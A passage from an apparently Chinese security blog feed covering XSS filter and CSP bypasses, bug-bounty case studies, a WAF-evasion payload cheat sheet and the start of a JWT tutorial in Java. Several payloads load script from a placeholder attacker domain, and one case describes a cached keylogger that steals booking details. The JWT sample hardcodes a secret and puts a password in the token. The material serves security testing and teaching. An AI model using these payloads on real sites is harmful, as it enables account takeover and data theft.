这个参数的输入会反射在页面上，内容类型也被标识为text&#x2F;javascript</p><p>总结：</p><p>所以我们可以尝试通过 JSONP Abuse对这个CSP进行绕过，这也是<strong>非常常见的CSP绕过方式</strong></p><p>最后可以在雅虎成功执行XSS的 Payload是</p><p><code>“&gt;&lt;script src=“https://www.youtube.com/oembed?callback=alert(1337);“&gt;&lt;/script&gt;</code></p><p>利用callback进行js代码控制并引入js里绕过csp的方法属于JSONP滥用</p><h2 id="XSS自动化"><a href="#XSS自动化" class="headerlink" title="XSS自动化"></a>XSS自动化</h2><p>自动化XSS更推荐对某个特定厂商进行而不是全平台厂商，因为专注于一个厂商你会对一个厂商越来越熟悉，可以<strong>优化URL的收集以及URL的去重规则</strong></p><p>自动化XSS分为以下几个部分：</p><ol><li>收集URL</li><li>删除相似和重复的URL</li><li>通过工具检测这些URL是不是有漏洞</li></ol><p>收集URL在<a class="link" href="https://fc04db.github.io/2024/07/08/Information-Gathering/">Information Gathering - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>有写</p><p><strong>删除相似和重复的URL</strong></p><p>这个过程比较复杂，作为一个起始点，可以用一个叫uro的工具</p><p>随着你对你正在测试的厂商的熟悉，你可以编写 一些适配于这个厂商的去重规则</p><p>去重以后的URL 保存到url_clean.txt的文件里面</p><p><strong>通过工具检测这些URL是不是有漏洞</strong></p><p>直接检测是不是存在XSS，或者检测某个URL某个参数没有过滤哪些特殊字符，再手动检测有没有XSS，这样可以不需要发太多的请求包，然后把XSS存在或者不存在的判断交给自己</p><p>kxss：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409081309767.png" alt="image-20240908130926705"></p><p>如果觉得只是判断哪些字符有没有被过滤然后自己再手动检测有没有漏洞太过麻烦和浪费时间，也可以把这些URL丢给XSS漏洞扫描工具，常见的XSS扫描工具有以下这些</p><p>xray：<a class="link" href="https://github.com/chaitin/xray">https://github.com/chaitin/xray <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>xscan (这个没有下载地址，加作者的知识星球可以获取)</p><p>XSStrike：<a class="link" href="https://github.com/s0md3v/XSStrike">https://github.com/s0md3v/XSStrike <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>dalfox：<a class="link" href="https://github.com/hahwul/dalfox">https://github.com/hahwul/dalfox <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h2><h3 id="绕过严格过滤的一次存储XSS经历"><a href="#绕过严格过滤的一次存储XSS经历" class="headerlink" title="绕过严格过滤的一次存储XSS经历"></a><strong>绕过严格过滤的一次存储XSS经历</strong></h3><p>漏洞点在社区这么一个地方</p><p>在社区这里你可以提出问题，所以一个很明显的测试点就是在提出问题的时候插入XSS荷载</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061308208.png" alt="image-20240906130810115"></p><p>当你点击Ask a quetion, 输入你想要输入的标题，你输入的问题会列出在如图所示的地方，你可以在提出问题的标题插入XSS荷载，但是这里有很严格的过滤规则，</p><ol><li><p>输入<code>&lt;aaaa</code>， 因为过滤规则匹配到&lt;而且&lt;后面跟着字母，所以<code>&lt;aaaa</code>整个都会被删掉</p></li><li><p>如果是输入<code>&lt;&lt;img&gt;img</code>, 它会先把里面的<code>&lt;img&gt;</code>然后删除外面的<code>&lt;img</code>, 最后也是啥都不剩</p></li><li><p>如果是输入<code>&lt; img &lt;%0aimg &lt;%0dimg </code>然后整个又被删掉</p></li><li><p>整个删除过程是递归式删除</p></li></ol><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061309377.png" alt="image-20240906130950343"></p><p>为啥那个<code>11111&lt;&lt;img&gt; img/src=&#39;a&#39;/onerror=alert(1)&gt;2222</code>荷载可以绕过过滤？</p><p>荷载<code>&lt;&lt;img&gt; img</code> 输入以后，过滤器检测到<code>&lt;&lt;img&gt; img</code>, 过滤器首先过滤的是里面的<code>&lt;img&gt;</code>, 这个时候还剩下&lt; img, 按照前面的过滤情况来看 ， 因为是递归删除的，&lt; img 应该也被删除才对，但是实际上并没有，最后保留下来了<code>&lt; img</code>， 注意前面带了一个空格出现这种情况的原因是我朋友告诉我这是一个补充规则，因为他之前已经提交过一次了，一开始用的荷载是&lt; img 前面带上了一个空格，一开始的规则只是递归删除&lt;后面跟在字符的模式(比如&lt;aaa, &lt;bbb, &lt;cccc)</p><p>所以删除&lt; img 其实只是一个在师傅朋友提交第一次报告以后，<strong>开发人员偷懒</strong>补充的一个规则，大概就是删除&lt;空格跟着字符这种模式，没有加入递归删除的规则里面</p><p>对刚刚发起的问题进行search会跳转到另外一个页面在这个页面<strong>它会把空格自己删除</strong>,所以XSS成功触发</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061311565.png" alt="image-20240906131133509"></p><p>通过这个荷载插入js <code>acb123456&lt;&lt;img&gt; script src=&quot;//域名/x.js&quot;&gt;//</code></p><p>在注入了js 以后在x.js简单写一下poc文件即可可以尝试一下账号接管或者读取敏感信息啥的</p><h3 id="某厂商存储XSS多次Bypass多次获得赏金"><a href="#某厂商存储XSS多次Bypass多次获得赏金" class="headerlink" title="某厂商存储XSS多次Bypass多次获得赏金"></a><strong>某厂商存储XSS多次Bypass多次获得赏金</strong></h3><p>经过信息收集，找到这么一个网站</p><p>然后补充一下相关信息，如果存在XSS的跟域名是aaa.com, 那么这个供应商的域名是bbb.com</p><p>在范围的赏金域名只有少数的几个</p><p><a class="link" href="http://www.aaa.com/">www.aaa.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>subs1.aaa.com</p><p>subs2.aaa.com</p><p>… </p><p>bbb.com 这个根域名在厂商的政策页面也没有提到, sub123.bbb.com 是提供给供应商的域名</p><p>注册以后填写相关的信息,填入你自己的产品，在产品名字写入xss荷载等待48个小时后，这个产品就会列出在<a class="link" href="http://www.aaa.com/">www.aaa.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 网站上面访问这个页面，xss 就会成功触发</p><p>这是第一次用的payload</p><p><code>Bugcrowd &#39;&lt;img&gt;&gt;&quot;&lt;img&gt;&gt;&lt;&lt;img&gt;/script&gt;&lt;&lt;img&gt;script src=//域名/x.js&gt; TEST</code></p><p>这是厂商修复以后第二次用的payload，通过找到一个会删除空格的输出点触发XSS</p><p><code>Bugcrowd &quot;&gt;&#39;&lt; /div&gt;&lt; /script&gt;&lt; script src=//域名/x.js&gt;&lt; /script&gt; TEST</code></p><h3 id="利用XSS缓存特性，持久性劫持登录页面"><a href="#利用XSS缓存特性，持久性劫持登录页面" class="headerlink" title="利用XSS缓存特性，持久性劫持登录页面"></a><strong>利用XSS缓存特性，持久性劫持登录页面</strong></h3><p>在进行xss 测试的时候adco 这个参数存在反射XSS，但是当我在浏览器访问的时候发现无法触发</p><p>经过在burp 反复对比数据包，发现是referer 影响了结果</p><p>Referer: 可以是任意域名&#x2F;widget&#x2F;可以是任意的</p><p>Referer 包含widget的时候，\ 输出还是\ , 但是’会变成\’, 两个\一组合，刚好可以打破’被转义</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061316017.png" alt="image-20240906131622973"></p><p>Referer 不包含widget的时候，\的输出是\, 加上’ 变成\’, 所以一共3个, 最后的结果就是无法打破上下文，所以不存在漏洞</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061316352.png" alt="image-20240906131614295"></p><p>在你的域名放xss.html这么一个文件，这个文件的内容如下</p><p><code>&lt;a href=&quot;https://&#123;漏洞所在域名&#125;/js/widget/?adco=\&#39;,1:alert(document.domain),//&quot;referrerpolicy=&quot;no-referrer-when-downgrade&quot;&gt;XSS test&lt;/a&gt;</code></p><p>访问<code>https://&#123;你的域名&#125;/widget/xss.html</code> , 然后点击XSS test就会重定向到<code>https://&#123;漏洞所在域名&#125;/js/widget/?adco=\&#39;,1:alert(document.domain),//</code></p><p>此时Referer 被正确设置，所以XSS会触发</p><p>访问了根路径，也就是https:&#x2F;&#x2F;{漏洞所在域名} 发现也能弹窗，</p><p>进一步测试，访问https:&#x2F;&#x2F;{漏洞所在域名}&#x2F;lol123 也能弹窗, lol123 是一个根本不存在的路径</p><p>当我访问<code>https://&#123;漏洞所在域名&#125;/js/widget/?adco=\&#39;,1:alert(document.domain),// </code>以后， 这个荷载以某种缓存的形式被保存下来了，而且这个缓存跟cookie 绑定了(非会话cookie, 你访问网站直接给你返回的cookie)</p><p>这个利用方式就是注入一个键盘记录器通过这个键盘记录器窃取 email&#x2F;reference number知道了email和reference number就能修改受害者的Booking, 和获取受害者的个人信息</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061318259.png" alt="image-20240906131833208"></p><p>之前的xss.html代码修改成如图所示</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061318032.png" alt="image-20240906131858959"></p><p>访问<code>https://&#123;你的域名&#125;/widget/xss.html</code>会跳转到就会<strong>自动重定向</strong>到<code>https://&#123;漏洞所在域名&#125;/js/widget/?adco=&#123;荷载&#125;</code></p><p>加了一小段代码实现自动重定向</p><p>受害者点击刚才的url以后，因为这个XSS具有缓存特性，之后在他访问访问https:&#x2F;&#x2F;{漏洞所在域名}，然后输入email和reference number会被键盘记录器记录发送给攻击者</p><p><strong>现实攻击场景</strong>：</p><ol><li><p>攻击者通过邮箱发送信息给受害者让他修改自己的booking 信息</p></li><li><p>当受害者点击邮箱里面的链接，就会被自动重定向到sub1.aaa.com(这是漏洞所在的域名)</p></li><li><p>xss 荷载在重定向的过程中已经被缓存下来了，受害者无论访问sub1.aaa.com<strong>任意路径</strong>都能触发，哪怕是访问sub1.aaa.com&#x2F;lol123 也能触发</p></li><li><p>现在受害者被重定向到sub1.aaa.com，在这个页面他输入自己的email和reference number，出于对sub1.aaa.com域名本身的信任，他将这些信息输入进去，却不知道这些信息已经悄悄被攻击者获取</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;同源策略&quot;&gt;&lt;a href=&quot;#同源策略&quot; class=&quot;headerlink&quot; title=&quot;同源策略&quot;&gt;&lt;/a&gt;同源策略&lt;/h2&gt;&lt;p&gt;同源策略限制了不同源之间如何进行资源交互，是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定，URL由协议、域名、</summary>
      
    
    
    
    <category term="Web SRC" scheme="http://example.com/categories/Web-SRC/"/>
    
    
  </entry>
  
  <entry>
    <title>反射XSS-Bypass</title>
    <link href="http://example.com/2024/09/05/%E5%8F%8D%E5%B0%84XSS-Bypass/"/>
    <id>http://example.com/2024/09/05/%E5%8F%8D%E5%B0%84XSS-Bypass/</id>
    <published>2024-09-05T07:52:00.000Z</published>
    <updated>2024-09-06T08:45:06.951Z</updated>
    
    <content type="html"><![CDATA[<h2 id="反射xss-绕过防护或waf"><a class="markdownIt-Anchor" href="#反射xss-绕过防护或waf">#</a> 反射 XSS - <strong>绕过防护或 WAF</strong></h2><h3 id="等价替换"><a class="markdownIt-Anchor" href="#等价替换">#</a> 等价替换</h3><p>①  <code>alert() &lt;---&gt; (alert)() &lt;---&gt; alert`` &lt;---&gt; prompt() &lt;---&gt; a=alert;a() &lt;---&gt; (alert)``  </code></p><p><strong>② document.cookie</strong> &lt;—&gt; <strong>document[‘cookie’]</strong> &lt;—&gt; <strong>with(document)alert(cookie)</strong></p><p><strong>③ 双引号</strong> &lt;—&gt; <strong>单引号</strong> &lt;—&gt; <strong>反引号</strong></p><h3 id="过滤净化"><a class="markdownIt-Anchor" href="#过滤净化">#</a> 过滤净化</h3><p>某些特殊字符或关键字被过滤掉，无法反射出来</p><p><strong>① 特殊字符【常见的有 %0d %00 %0a 等】</strong> 如： <code> alert%0d() ale%00rt() onload%0a=&quot;alert%0d()&quot;</code></p><p><strong>② 特殊关键字【常见的有 script 或者 <code> &lt;script&gt;</code>  等】</strong> 如：  <code>aler&lt;script&gt;t()</code></p><p>**③ 过滤 \ : ** <code>&lt;s\c\r\i\p\t&gt;a\l\e\r\t\(\d\o\c\u\m\e\n\t\.\c\o\o\k\i\e\)\&lt;\/\s\c\r\i\p\t\&gt;</code></p><h3 id="参数为点"><a class="markdownIt-Anchor" href="#参数为点">#</a> 参数为点</h3><p><strong>① 参数值与参数都有反射点</strong> 比如 url 处为 a=xxxx，响应为 “a”:“xxxx” 这样的，可以尝试在参</p><p>数本身插入 payload，得到 ayyyy=xxxx，得到 “ayyyy”:“xxxx”</p><p><strong>② 有时候 waf 或防护会防御参数值处的反射处</strong> 但有可能会在参数本身没有 waf 或防护，用</p><p>url 为 <code>a&quot;-alert()-&quot;=xxxx </code> 成功触发</p><h3 id="多余绕过"><a class="markdownIt-Anchor" href="#多余绕过">#</a> 多余绕过</h3><p>① 如 ** 标签过滤 <code>&lt;script&gt;</code>  的时候 ：** 可以加多余内容到标签属性处（虽然攻击本身不需要） <code>&lt;script/xyz&gt;alert()&lt;/script&gt;</code>  可以绕过简单的过滤；</p><p>② 如 一些防御机制是<strong>通过匹配 &lt;&gt;</strong>，然后提取内容，与黑名单校验，可以通过添加多余尖括</p><p>号来绕过  <code>&lt;&lt;script&gt;alert()&lt;&lt;/script&gt;</code></p><h3 id="转义逃逸"><a class="markdownIt-Anchor" href="#转义逃逸">#</a> 转义逃逸</h3><p>转义符没有被转义而导致引号逃逸，完成前闭合</p><p>① 如果<strong>发现反射点在 <code>&lt;script&gt;</code>  标签内</strong>，例如： <code>&lt;script&gt;var name=&quot;&#123;反射点&#125;&quot;;&lt;/script&gt;</code> , 但是双</p><p>引号被转义:</p><p>② 那么 &quot; 试试是否转义符也被转义，没有且注释符也没有被转义的话，可以引号逃逸，选择</p><p>注释后面，那么最终为 <code>\&quot;;alert();//</code></p><ol><li><strong>反斜杠 ( <code>\</code> ) 是转义字符</strong>：<ul><li>在 JavaScript 中，反斜杠 ( <code>\</code> ) 是一个转义字符，用于表示特殊字符。例如， <code>\n</code>  表示换行， <code>\t</code>  表示制表符等。</li><li>当需要在字符串中插入一个特定字符（如引号  <code>'</code>  或  <code>&quot;</code> ）时，反斜杠用于 “转义” 这个字符，防止它被解释为字符串的结束符。</li></ul></li><li><strong>转义单引号 ( <code>\'</code> )</strong>：<ul><li>如果字符串是用单引号（ <code>'</code> ）包围的，比如： <code>'Hello, world!'</code> ，直接在字符串中插入一个单引号将会导致语法错误，因为它会被解释为字符串的结束。</li><li>为了在这样的字符串中插入一个实际的单引号，可以使用转义字符。例如： <code>'It\'s a nice day!'</code> 。在这个例子中， <code>\'</code>  表示一个单引号字符，它不会终止字符串，而是作为普通字符被包含在字符串中。</li></ul></li><li><strong>双反斜杠 ( <code>\\</code> ) 的含义</strong>：<ul><li>在字符串中，单个反斜杠 ( <code>\</code> ) 被用作转义字符，但如果你需要在字符串中表示一个反斜杠本身，则需要用两个反斜杠（ <code>\\</code> ）来表示。</li><li>因此， <code>\\</code>  实际上代表一个单一的反斜杠字符。</li></ul></li></ol><p><strong>综合解释  <code>\\'</code> </strong></p><ul><li>在  <code>\\'</code>  中，前两个反斜杠 ( <code>\\</code> ) 表示一个实际的反斜杠字符，而  <code>\'</code>  则表示一个转义后的单引号字符。</li><li>合在一起， <code>\\'</code>  表示在字符串中插入一个反斜杠和一个单引号。</li></ul><h3 id="方法转换"><a class="markdownIt-Anchor" href="#方法转换">#</a> 方法转换</h3><p>GET 与 POST 两种请求方式进行互相转换，偶尔有奇效</p><p>① POST 型反射 XSS 有时候厂商是不收的，但可以通过 Burp 的 Change request method 很方便</p><p>地就把<strong> POST 型改成 GET 型</strong>，发包后，有一定概率能成功，最后以 GET 型提交</p><p>② 假设失败，GET 型不存在反射 XSS 时，看是否有 CSRF，<strong>可以基于 CSRF 进行 POST 型反射 XSS</strong></p><p><strong>的利用</strong>，能使厂商接受报告的可能性增大很多</p><h3 id="域名拆解"><a class="markdownIt-Anchor" href="#域名拆解">#</a> 域名拆解</h3><p>通过子域名的类似形式进行爆破 or 拆解，利用代码复用，变成赏金范围内的洞</p><p>① 先挖到了当当网 mtouch 子域的反射 XSS，然后想办法<strong>拆解子域 mtouch</strong> 为</p><p><a class="link" href="http://touch.m.dangdang.com">touch.m.dangdang.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，发现代码复用，同一路径的同一反射参数且同一 payload</p><p>② 搜狐的子域 <a class="link" href="http://d1.m.sohu.com">d1.m.sohu.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>可以猜解为 (a-z)(0-9).m.sohu.com</strong> 最终发现 <a class="link" href="http://t3.m.sohu.com">t3.m.sohu.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>可行</p><h3 id="双重编码"><a class="markdownIt-Anchor" href="#双重编码">#</a> 双重编码</h3><p>现在一些搜索框已经进行 XSS 防护，有时候用双重 URL 编码可以成功绕过</p><p><strong>① 常见特殊字符的双重 URL 编码</strong>：“%2522 ‘ %2527 &lt; %253c&gt; %253e / %252f</p><p><strong>② 关键字</strong>有时候不需要进行此类编码，但有时也需要，<strong>随机应变</strong></p><h3 id="组合利用"><a class="markdownIt-Anchor" href="#组合利用">#</a> 组合利用</h3><p>反射 XSS 在国内很少有厂商收，建议挖国外，有时可利用组合拳提升危害</p><p><strong>① 国内</strong> SRC 的反射 XSS 赏金 <strong>VS 国外</strong> HackerOne/BugCrowd 反射 XSS 赏金</p><p><strong>② 常见组合拳： CORS</strong> / <strong>CSRF</strong> / <strong>越权</strong></p><hr><p>之前写过一个 XSS 的文章：<a class="link" href="https://fc04db.github.io/2024/04/15/XSS/#%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4">XSS - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="一个靶场"><a class="markdownIt-Anchor" href="#一个靶场">#</a> 一个靶场</h2><p>打开输入 <code>aaaaa</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051938676.png" alt="image-20240905193804556"></p><p>查看源代码搜索 <code>aaaaa</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051939676.png" alt="image-20240905193902591"></p><p>确定了注入点</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051942432.png" alt="image-20240905194216370"></p><p>转义了 <code>&lt;script&gt;</code></p><p>绕过： <code>xxx&lt;svg/onload=alert(1)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051943480.png" alt="image-20240905194359448"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;反射xss-绕过防护或waf&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#反射xss-绕过防护或waf&quot;&gt;#&lt;/a&gt; 反射 XSS - &lt;strong&gt;绕过防护或 WAF&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;等价替换&quot;&gt;&lt;a </summary>
      
    
    
    
    <category term="Web SRC" scheme="http://example.com/categories/Web-SRC/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-SpringBoot&amp;JWT&amp;JAR|WAR</title>
    <link href="http://example.com/2024/09/04/JAVA-SpringBoot-JWT-JAR-WAR/"/>
    <id>http://example.com/2024/09/04/JAVA-SpringBoot-JWT-JAR-WAR/</id>
    <published>2024-09-04T07:33:58.000Z</published>
    <updated>2024-09-05T05:28:33.206Z</updated>
    
    <content type="html"><![CDATA[<h3 id="jwt"><a class="markdownIt-Anchor" href="#jwt">#</a> JWT</h3><p>之前写过身份验证鉴权的总结：<a class="link" href="https://fc04db.github.io/2024/07/17/Authentication/#jwt">Authentication - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409041547877.png" alt="Untitled"></p><p>JWT (JSONWeb Token) 是由服务端用<strong>加密算法对信息签名</strong>来保证其<strong>完整性和不可伪造；</strong><br>Token 里可以包含所有必要信息，这样服务端就无需保存任何关于用户或会话的信息；<br>JWT 用于身份认证、会话维持等。<strong>由三部分组成，header、payload 与 signature。</strong></p><p>JWT 是由这三个部分组成的字符串，形如  <code>header.payload.signature</code> 。JWT 通常用于在网络上安全地传输信息，例如在身份验证过程中传递令牌。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQss</span><br></pre></td></tr></table></figure></div><p><strong>简单开发一下</strong>：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtController</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">jwt</span> <span class="operator">=</span> JWT.create()</span><br><span class="line">                <span class="comment">//设置header</span></span><br><span class="line">                <span class="comment">//.withHeader()</span></span><br><span class="line"></span><br><span class="line">                <span class="comment">//设置payload部分</span></span><br><span class="line">                .withClaim(<span class="string">&quot;userid&quot;</span>,<span class="number">1</span>)</span><br><span class="line">                .withClaim(<span class="string">&quot;username&quot;</span>,<span class="string">&quot;admin&quot;</span>)</span><br><span class="line">                .withClaim(<span class="string">&quot;password&quot;</span>,<span class="string">&quot;admin&quot;</span>)</span><br><span class="line">                <span class="comment">//.withExpiresAt() 设置过期时间</span></span><br><span class="line"></span><br><span class="line">                <span class="comment">//创建signature</span></span><br><span class="line">                .sign(Algorithm.HMAC256(<span class="string">&quot;fcqb&quot;</span>)); <span class="comment">//算法和密钥</span></span><br><span class="line"></span><br><span class="line">        System.out.println(jwt);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409041618212.png" alt="image-20240904161846128"></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6ImFkbWluIiwidXNlcmlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.dwnU1P_KAmhuTY4qqBAB2wZBOLlkvSQyU9FM8KhNAgE</span><br></pre></td></tr></table></figure></div><p>解密：<a class="link" href="https://jwt.io/">JSON Web Tokens - jwt.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409041619811.png" alt="image-20240904161942760"></p><p>解密 jwt：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//解密JWT</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">jwtcheck</span><span class="params">(String jwtdata)</span>&#123;</span><br><span class="line">    <span class="comment">//String jwtdata = &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6ImFkbWluIiwidXNlcmlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.dwnU1P_KAmhuTY4qqBAB2wZBOLlkvSQyU9FM8KhNAgE&quot;;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//构建解密注册</span></span><br><span class="line">    <span class="type">JWTVerifier</span> <span class="variable">jwtde</span> <span class="operator">=</span> JWT.require(Algorithm.HMAC256(<span class="string">&quot;fcqb&quot;</span>)).build();</span><br><span class="line">    <span class="comment">//解密注册数据</span></span><br><span class="line">    <span class="type">DecodedJWT</span> <span class="variable">verify</span> <span class="operator">=</span> jwtde.verify(jwtdata);</span><br><span class="line">    <span class="comment">//提取注册解密数据</span></span><br><span class="line">    <span class="type">Integer</span> <span class="variable">userid</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;userid&quot;</span>).asInt();</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;username&quot;</span>).asString();</span><br><span class="line">    <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;password&quot;</span>).asString();</span><br><span class="line"></span><br><span class="line">    System.out.println(userid +<span class="string">&quot; &quot;</span>+ username +<span class="string">&quot; &quot;</span>+ password);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409042300472.png" alt="image-20240904230014311"></p><p>构建在 web 应用上</p><p>index.html:</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>hello word!!!<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>this is an HTML page<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- Form for creating JWT --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;../jwtcreate&quot;</span> <span class="attr">method</span>=<span class="string">&quot;post&quot;</span>&gt;</span></span><br><span class="line">    id:<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;id&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    user:<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;user&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    pass:<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;pass&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;create&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- Form for checking JWT --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;../jwtcheck&quot;</span> <span class="attr">method</span>=<span class="string">&quot;post&quot;</span>&gt;</span></span><br><span class="line">    jwtdata:<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;jwtdata&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;check&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span 